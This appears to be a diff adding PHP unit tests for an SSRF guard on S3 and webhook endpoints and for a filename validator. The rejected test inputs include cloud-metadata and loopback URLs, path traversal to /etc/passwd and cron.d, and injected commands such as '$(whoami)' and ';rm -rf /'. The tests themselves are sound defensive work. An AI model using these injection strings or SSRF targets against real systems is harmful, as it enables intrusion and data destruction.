+    'GCP metadata via link-local' => 'http://169.254.0.1',
+    'loopback v4' => 'http://127.0.0.1',
+    'loopback Redis' => 'http://127.0.0.1:6379',
+    'loopback Postgres' => 'http://127.0.0.1:5432',
+    'loopback alt in /8' => 'http://127.10.20.30',
+    'zero address' => 'http://0.0.0.0',
+    'IPv6 loopback' => 'http://[::1]',
+    'localhost hostname' => 'http://localhost',
+    'localhost with port' => 'http://localhost:9000',
+    'internal suffix' => 'http://minio.internal',
+    'file scheme' => 'file:///etc/passwd',
+    'javascript scheme' => 'javascript:alert(1)',
+]);
+
+it('accepts real-world S3 endpoints', function (string $endpoint) {
+    $validator = Validator::make(
+        ['endpoint' => $endpoint],
+        ['endpoint' => ['required', 'max:255', new SafeWebhookUrl]],
+    );
+
+    expect($validator->passes())->toBeTrue("Expected accepted: {$endpoint}");
+})->with([
+    'AWS S3' => 'https://s3.us-east-1.amazonaws.com',
+    'Cloudflare R2' => 'https://fake.r2.cloudflarestorage.com',
+    'DigitalOcean Spaces' => 'https://nyc3.digitaloceanspaces.com',
+    'Backblaze B2' => 'https://s3.us-west-001.backblazeb2.com',
+    'Self-hosted MinIO on 10.x' => 'http://10.0.0.5:9000',
+    'Self-hosted MinIO on 172.16.x' => 'http://172.16.0.10:9000',
+    'Self-hosted MinIO on 192.168.x' => 'http://192.168.1.50:9000',
+    'Custom domain MinIO' => 'https://minio.example.com',
+]);
+
+it('blocks testConnection() on an unsafe endpoint without issuing HTTP', function () {
+    $s3Storage = new S3Storage;
+    $s3Storage->setRawAttributes([
+        'region' => 'us-east-1',
+        'key' => 'AKIAEXAMPLE',
+        'secret' => 'secret',
+        'bucket' => 'latest/meta-data',
+        'endpoint' => 'http://169.254.169.254',
+    ]);
+
+    expect(fn () => $s3Storage->testConnection())
+        ->toThrow(RuntimeException::class, 'S3 endpoint is not allowed');
+});
+
+it('blocks testConnection() for loopback endpoints', function (string $endpoint) {
+    $s3Storage = new S3Storage;
+    $s3Storage->setRawAttributes([
+        'region' => 'us-east-1',
+        'key' => 'AKIAEXAMPLE',
+        'secret' => 'secret',
+        'bucket' => 'bucket',
+        'endpoint' => $endpoint,
+    ]);
+
+    expect(fn () => $s3Storage->testConnection())
+        ->toThrow(RuntimeException::class, 'S3 endpoint is not allowed');
+})->with([
+    'http loopback' => 'http://127.0.0.1:6379',
+    'localhost' => 'http://localhost:9000',
+    'IPv6 loopback' => 'http://[::1]',
+    'internal TLD' => 'http://backend.internal',
+]);

tests/Unit/ValidateFilenameSafeTest.php

@@ -0,0 +1,138 @@
+<?php
+
+test('allows plain filenames without special characters', function () {
+    $validNames = [
+        'init.sql',
+        '01_schema.sql',
+        'setup-db.sql',
+        'create_test_db.sql',
+        'init-script.sh',
+        'UPPERCASE.SQL',
+        'mixed_Case-File.sql',
+        'file123.sql',
+        'a',
+    ];
+
+    foreach ($validNames as $name) {
+        expect(fn () => validateFilenameSafe($name, 'init script filename'))
+            ->not->toThrow(Exception::class, "Expected '{$name}' to pass");
+    }
+});
+
+test('rejects path traversal with ../', function () {
+    expect(fn () => validateFilenameSafe('../../../etc/cron.d/pwn', 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('rejects path traversal with .. alone', function () {
+    expect(fn () => validateFilenameSafe('..', 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('rejects path traversal embedded in filename', function () {
+    expect(fn () => validateFilenameSafe('foo..bar', 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('rejects forward slash directory separator', function () {
+    expect(fn () => validateFilenameSafe('foo/bar.sql', 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('rejects backslash directory separator', function () {
+    expect(fn () => validateFilenameSafe('foo\\bar.sql', 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('rejects absolute path starting with slash', function () {
+    expect(fn () => validateFilenameSafe('/etc/passwd', 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('rejects absolute Windows-style path', function () {
+    expect(fn () => validateFilenameSafe('C:\\Windows\\System32\\cmd.exe', 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('rejects null byte injection', function () {
+    expect(fn () => validateFilenameSafe("init.sql\0../../etc/passwd", 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('rejects shell command substitution (inherits from validateShellSafePath)', function () {
+    expect(fn () => validateFilenameSafe('$(whoami).sql', 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('rejects backtick command substitution', function () {
+    expect(fn () => validateFilenameSafe('`id`.sql', 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('rejects semicolon command separator', function () {
+    expect(fn () => validateFilenameSafe('init.sql;rm -rf /', 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('rejects pipe operator', function () {
+    expect(fn () => validateFilenameSafe('init.sql|whoami', 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('rejects redirect operators', function () {
+    expect(fn () => validateFilenameSafe('init.sql>/etc/passwd', 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('rejects mixed traversal and shell injection', function () {
+    expect(fn () => validateFilenameSafe('../etc/cron.d/$(id)', 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('error message contains context string', function () {
+    try {
+        validateFilenameSafe('../evil', 'init script filename');
+        expect(false)->toBeTrue('Should have thrown');
+    } catch (Exception $e) {
+        expect($e->getMessage())->toContain('init script filename');
+    }
+});
+
+test('handles empty string without throwing', function () {
+    expect(fn () => validateFilenameSafe('', 'init script filename'))
+        ->not->toThrow(Exception::class);
+});
+
+test('rejects whitespace inside filename (would split into extra tee arg)', function () {
+    expect(fn () => validateFilenameSafe('foo bar.sql', 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('rejects glob wildcards', function () {
+    expect(fn () => validateFilenameSafe('init*.sql', 'init script filename'))
+        ->toThrow(Exception::class);
+
+    expect(fn () => validateFilenameSafe('init?.sql', 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('rejects glob character class brackets', function () {
+    expect(fn () => validateFilenameSafe('init[abc].sql', 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('rejects tilde expansion', function () {
+    expect(fn () => validateFilenameSafe('~/evil.sql', 'init script filename'))
+        ->toThrow(Exception::class);
+
+    expect(fn () => validateFilenameSafe('~root', 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('rejects single and double quotes', function () {
+    expect(fn () => validateFilenameSafe("foo'bar.sql", 'init script filename'))
+        ->toThrow(Exception::class);
+
+    expect(fn () => validateFilenameSafe('foo"bar.sql', 'init script filename'))
+        ->toThrow(Exception::class);
+});